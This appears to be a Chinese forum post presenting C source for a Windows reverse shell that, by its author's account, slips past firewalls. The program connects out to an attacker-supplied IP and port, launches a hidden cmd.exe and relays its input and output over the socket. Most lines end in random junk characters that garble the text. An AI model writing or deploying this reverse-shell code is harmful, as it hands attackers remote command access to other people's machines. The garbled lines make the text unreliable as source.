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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S*3$1BTl  
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/* ============================== R~TG5^(  
Rebound port in Windows NT b^8"EBo  
By wind,2006/7 _Bn8i(  
===============================*/ ;tD?a7  
#include r`u 9MJ*  
#include ! c~3`7v  
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#pragma comment(lib,"wsock32.lib") ih:%U  
j}jU.\*v<  
void OutputShell(); Wk-. dJ  
SOCKET sClient; ND 8;1+3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m]=G73jzO  
.:;q8FL/  
void main(int argc,char **argv) !a'{gw  
{ MD>E0p)  
WSADATA stWsaData; waV4~BdL  
int nRet; }zeKf/?'  
SOCKADDR_IN stSaiClient,stSaiServer; Xa>c ]j  
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if(argc != 3) S|@ Y !  
{ 7#T@CKdUd  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1 EV0Y]T1  
return; Dp@m"_1`+  
} <sGioMr  
>6;RTN/P2  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;]/cCi  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OW> >6zM  
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stSaiClient.sin_family = AF_INET; &hhxp1B  
stSaiClient.sin_port = htons(0); 1BzU-Ma  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WPu%{/ [  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) % =v<3  
{ *qIns/@  
printf("Bind Socket Failed!\n"); *nUa0Zg4q6  
return; ju"j?2+F  
} O} lqY?0*  
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stSaiServer.sin_family = AF_INET; AlgVsE%Va  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \ $9n `  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y:'c<k  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k1FG$1.  
{ G&0JK ,Y  
printf("Connect Error!"); < *{(>  
return; 0j 'k%R[l  
} C9T- 4o1  
OutputShell(); gD6BPW~0  
} Rmh,P>  
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void OutputShell() U3c!*i  
{ (]<G)+*  
char szBuff[1024]; q]*:RI?wGT  
SECURITY_ATTRIBUTES stSecurityAttributes; f6HDfJmE  
OSVERSIONINFO stOsversionInfo; !un_JZD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pQ+4++7ID  
STARTUPINFO stStartupInfo; EmcwX4|  
char *szShell; iJu$&u  
PROCESS_INFORMATION stProcessInformation; UDa\*  
unsigned long lBytesRead; ,rQPs  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qjvIp-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fbW#6:Y  
stSecurityAttributes.lpSecurityDescriptor = 0; HmEU;UbO-  
stSecurityAttributes.bInheritHandle = TRUE; \6Hu&WHy  
1FC 1*7A[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3^AS8%qG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z#| tl/aP9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `\S~;O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )'?@raB!  
stStartupInfo.wShowWindow = SW_HIDE; u:4?$%rB  
stStartupInfo.hStdInput = hReadPipe; ^`!EpO>k9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iW <B1'dp  
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GetVersionEx(&stOsversionInfo); <0)@Ikhx  
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switch(stOsversionInfo.dwPlatformId) $;+`sVG  
{ j6)@kW9x  
case 1: })r[q sv  
szShell = "command.com"; ='r4z z  
break; E)l@uPA'1  
default: nbz?D_  
szShell = "cmd.exe"; ;tLu  
break; <?iwi[S  
} *YY:JLe  
lV!@h}mG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $f<Rj/`&  
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send(sClient,szMsg,77,0); *gzX=*;x+?  
while(1) K29KS)~;W  
{ X'>]z'0W  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7:T 5P  
if(lBytesRead) ;zvg]  %  
{ ;H8A"$%n~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ow]c,F}^  
send(sClient,szBuff,lBytesRead,0); e c`3Qw  
} :ITz\m  
else <)(STo  
{ x:Kca3pv_  
lBytesRead=recv(sClient,szBuff,1024,0); #r)c@?T@j  
if(lBytesRead<=0) break; "eal Yveu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u_U51C\rb  
} 4E& 3{hnp  
} PDssEb7  
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return; r0\cgCn  
}
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